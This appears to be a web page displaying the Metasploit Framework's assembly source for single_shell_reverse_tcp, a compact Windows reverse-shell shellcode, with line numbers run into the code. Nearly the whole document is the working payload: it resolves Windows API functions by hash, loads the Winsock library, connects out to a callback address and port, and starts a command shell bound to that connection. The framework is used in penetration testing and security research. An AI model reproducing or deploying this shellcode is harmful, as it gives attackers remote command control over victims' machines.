Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/windows/single_shell_reverse_tcp.asm
Views: 11780
;1; Metasploit Framework2; http://www.metasploit.com3;4; Source for shell_reverse_tcp (single)5;6; Authors: vlad902 <vlad902@gmail.com>7; Size : 2878;910cld11push byte -0x1512dec ebp13call 0x214pusha15mov ebp,[esp+0x24]16mov eax,[ebp+0x3c]17mov edi,[ebp+eax+0x78]18add edi,ebp19mov ecx,[edi+0x18]20mov ebx,[edi+0x20]21add ebx,ebp22dec ecx23mov esi,[ebx+ecx*4]24add esi,ebp25xor eax,eax26cdq27lodsb28test al,al29jz 0x3430ror edx,0xd31add edx,eax32jmp short 0x2833cmp edx,[esp+0x28]34jnz 0x1f35mov ebx,[edi+0x24]36add ebx,ebp37mov cx,[ebx+ecx*2]38mov ebx,[edi+0x1c]39add ebx,ebp40add ebp,[ebx+ecx*4]41mov [esp+0x1c],ebp42popa43ret44xor ebx,ebx45mov eax,[fs:ebx+0x30]46mov eax,[eax+0xc]47mov esi,[eax+0x1c]48lodsd49mov eax,[eax+0x8]50pop esi51push dword 0xec0e4e8e52push eax53call esi54push bx55push word 0x323356push dword 0x5f32737757push esp58call eax59push dword 0x3bfcedcb60push eax61call esi62pop edi63mov ebp,esp64sub bp,0x20865push ebp66push byte +0x267call eax68push dword 0xadf509d969push edi70call esi71push ebx72push ebx73push ebx74push ebx75inc ebx76push ebx77inc ebx78push ebx79call eax80push dword 0xffffffff81push word 0x5c1182push bx83mov ecx,esp84xchg eax,ebp85push dword 0x60aaf9ec86push edi87call esi88push byte +0x1089push ecx90push ebp91call eax92o16 push byte +0x6493push word 0x6d6394push byte +0x5095pop ecx96sub esp,ecx97mov edi,esp98push byte +0x4499mov edx,esp100xor eax,eax101rep stosb102xchg eax,ebp103mov ebp,edi104inc byte [edx+0x2d]105inc byte [edx+0x2c]106lea edi,[edx+0x38]107stosd108stosd109stosd110push dword 0x16b3fe72111push dword [ebp+0x28]112call esi113pop ebx114push edi115push edx116push ecx117push ecx118push ecx119push byte +0x1120push ecx121push ecx122push ebp123push ecx124call eax125push dword 0xce05d9ad126push ebx127call esi128push byte -0x1129push dword [edi]130call eax131push dword 0x79c679e7132push dword [ebp+0x4]133call esi134push dword [edi-0x4]135call eax136push dword 0x5f048af0137push ebx138call esi139call eax140141142